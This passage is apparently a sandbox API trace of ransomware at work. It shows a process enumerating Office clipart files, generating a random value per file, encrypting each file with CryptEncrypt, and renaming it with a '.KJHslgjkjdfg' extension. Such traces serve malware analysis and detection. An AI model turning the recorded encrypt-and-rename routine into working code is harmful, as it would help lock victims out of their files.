nNumberOfBytesToWrite=0xb1b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb1b0, lpOverlapped=0x0) returned 1 [0207.100] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.100] SetEndOfFile (hFile=0x130) returned 1 [0207.103] GetProcessHeap () returned 0x990000 [0207.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.103] GetProcessHeap () returned 0x990000 [0207.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.kjhslgjkjdfg")) returned 1 [0207.105] CloseHandle (hObject=0x130) returned 1 [0207.105] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1 [0207.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.107] GetProcessHeap () returned 0x990000 [0207.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.107] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.107] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.109] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.109] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.109] GetProcessHeap () returned 0x990000 [0207.109] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.109] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.109] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.109] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.109] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.110] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.110] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.110] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.110] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.110] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.110] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9e2c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9e2c, lpOverlapped=0x0) returned 1 [0207.111] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9e30, dwBufLen=0x9e30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9e30) returned 1 [0207.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.112] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9e30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9e30, lpOverlapped=0x0) returned 1 [0207.112] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.112] SetEndOfFile (hFile=0x130) returned 1 [0207.115] GetProcessHeap () returned 0x990000 [0207.116] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.116] GetProcessHeap () returned 0x990000 [0207.116] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.kjhslgjkjdfg")) returned 1 [0207.117] CloseHandle (hObject=0x130) returned 1 [0207.117] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1 [0207.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.118] GetProcessHeap () returned 0x990000 [0207.119] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.119] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.119] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.119] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.119] GetProcessHeap () returned 0x990000 [0207.119] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.119] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.119] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.119] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.122] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.122] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.122] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.123] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.123] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.123] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.123] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ca0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ca0, lpOverlapped=0x0) returned 1 [0207.124] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ca0) returned 1 [0207.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.124] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ca0, lpOverlapped=0x0) returned 1 [0207.125] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.125] SetEndOfFile (hFile=0x130) returned 1 [0207.128] GetProcessHeap () returned 0x990000 [0207.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.128] GetProcessHeap () returned 0x990000 [0207.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.kjhslgjkjdfg")) returned 1 [0207.130] CloseHandle (hObject=0x130) returned 1 [0207.130] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1 [0207.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.132] GetProcessHeap () returned 0x990000 [0207.132] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.132] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.132] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.134] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.134] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.134] GetProcessHeap () returned 0x990000 [0207.134] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.134] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.134] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.134] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.134] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.134] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.135] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.135] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.135] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.135] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.135] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1908, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1908, lpOverlapped=0x0) returned 1 [0207.136] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1910, dwBufLen=0x1910 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1910) returned 1 [0207.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.136] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1910, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1910, lpOverlapped=0x0) returned 1 [0207.136] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.136] SetEndOfFile (hFile=0x130) returned 1 [0207.139] GetProcessHeap () returned 0x990000 [0207.139] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.139] GetProcessHeap () returned 0x990000 [0207.139] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.kjhslgjkjdfg")) returned 1 [0207.142] CloseHandle (hObject=0x130) returned 1 [0207.142] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1 [0207.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.143] GetProcessHeap () returned 0x990000 [0207.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.143] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.144] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.144] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.144] GetProcessHeap () returned 0x990000 [0207.144] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.144] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.144] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.144] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.146] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.146] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.146] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.146] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.146] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.146] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3100, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3100, lpOverlapped=0x0) returned 1 [0207.147] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3100, dwBufLen=0x3100 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3100) returned 1 [0207.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.148] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3100, lpOverlapped=0x0) returned 1 [0207.148] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.148] SetEndOfFile (hFile=0x130) returned 1 [0207.151] GetProcessHeap () returned 0x990000 [0207.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.151] GetProcessHeap () returned 0x990000 [0207.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.kjhslgjkjdfg")) returned 1 [0207.152] CloseHandle (hObject=0x130) returned 1 [0207.153] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1 [0207.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 